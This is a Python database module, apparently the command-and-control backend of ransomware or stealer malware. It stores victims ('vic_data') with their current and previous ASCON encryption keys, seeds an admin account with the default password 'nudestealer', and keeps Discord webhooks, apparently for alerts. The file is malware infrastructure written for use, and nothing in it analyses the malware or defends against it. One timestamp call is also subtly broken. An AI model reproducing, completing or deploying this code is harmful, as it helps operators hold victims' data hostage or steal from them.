133 lines
5.1 KiB
Python
133 lines
5.1 KiB
Python
import sqlite3
|
|
import json
|
|
from datetime import datetime
|
|
from serverside.consts import DATABASE_FILE
|
|
from serverside.helpers.config import get
|
|
from serverside.cryptography import hash_password
|
|
|
|
def init_db():
|
|
DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE)
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
|
|
cursor.execute('''
|
|
CREATE TABLE IF NOT EXISTS vic_data (
|
|
vic_uuid TEXT PRIMARY KEY,
|
|
vic_account_name TEXT NOT NULL,
|
|
vic_recent_ascon_key_hex TEXT,
|
|
vic_previous_ascon_key_list TEXT, -- stored as JSON string
|
|
last_updated TEXT,
|
|
created_at TEXT DEFAULT (datetime('now'))
|
|
)
|
|
''')
|
|
|
|
cursor.execute('''
|
|
CREATE TABLE IF NOT EXISTS administration (
|
|
administrator_username TEXT PRIMARY KEY,
|
|
administrator_password_hash TEXT NOT NULL,
|
|
created_at TEXT DEFAULT (datetime('now'))
|
|
)
|
|
''')
|
|
|
|
cursor.execute('''
|
|
CREATE TABLE IF NOT EXISTS discord_webhooks (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
webhook_url TEXT NOT NULL,
|
|
created_at TEXT DEFAULT (datetime('now'))
|
|
)
|
|
''')
|
|
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer")))
|
|
|
|
DATABASE_CONNECTION.close()
|
|
|
|
def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None):
|
|
if previous_keys is None:
|
|
previous_keys = []
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('''
|
|
INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated)
|
|
VALUES (?, ?, ?, ?, ?)
|
|
''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat()))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def get_vic(DATABASE_CONNECTION, vic_uuid):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
|
row = cursor.fetchone()
|
|
if row:
|
|
vic_data = dict(zip([column[0] for column in cursor.description], row))
|
|
vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list'])
|
|
return vic_data
|
|
return None
|
|
|
|
def insert_admin(DATABASE_CONNECTION, username, password_hash):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('''
|
|
INSERT INTO administration (administrator_username, administrator_password_hash)
|
|
VALUES (?, ?)
|
|
''', (username, password_hash))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def get_admin(DATABASE_CONNECTION, username):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,))
|
|
row = cursor.fetchone()
|
|
if row:
|
|
return dict(zip([column[0] for column in cursor.description], row))
|
|
return None
|
|
|
|
def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
vic = get_vic(DATABASE_CONNECTION, vic_uuid)
|
|
if vic:
|
|
previous_keys = vic['vic_previous_ascon_key_list']
|
|
recent_key = vic['vic_recent_ascon_key_hex']
|
|
if recent_key:
|
|
previous_keys.append(recent_key)
|
|
cursor.execute('''
|
|
UPDATE vic_data
|
|
SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ?
|
|
WHERE vic_uuid = ?
|
|
''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def update_admin_password(DATABASE_CONNECTION, username, new_password_hash):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('''
|
|
UPDATE administration
|
|
SET administrator_password_hash = ?
|
|
WHERE administrator_username = ?
|
|
''', (new_password_hash, username))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def delete_vic(DATABASE_CONNECTION, vic_uuid):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def delete_admin(DATABASE_CONNECTION, username):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def insert_webhook(DATABASE_CONNECTION, webhook_url):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('''
|
|
INSERT INTO discord_webhooks (webhook_url)
|
|
VALUES (?)
|
|
''', (webhook_url,))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def delete_webhook(DATABASE_CONNECTION, webhook_id):
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,))
|
|
DATABASE_CONNECTION.commit()
|
|
|
|
def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]:
|
|
cursor = DATABASE_CONNECTION.cursor()
|
|
cursor.execute('SELECT * FROM discord_webhooks')
|
|
rows = cursor.fetchall()
|
|
webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows]
|
|
return webhooks |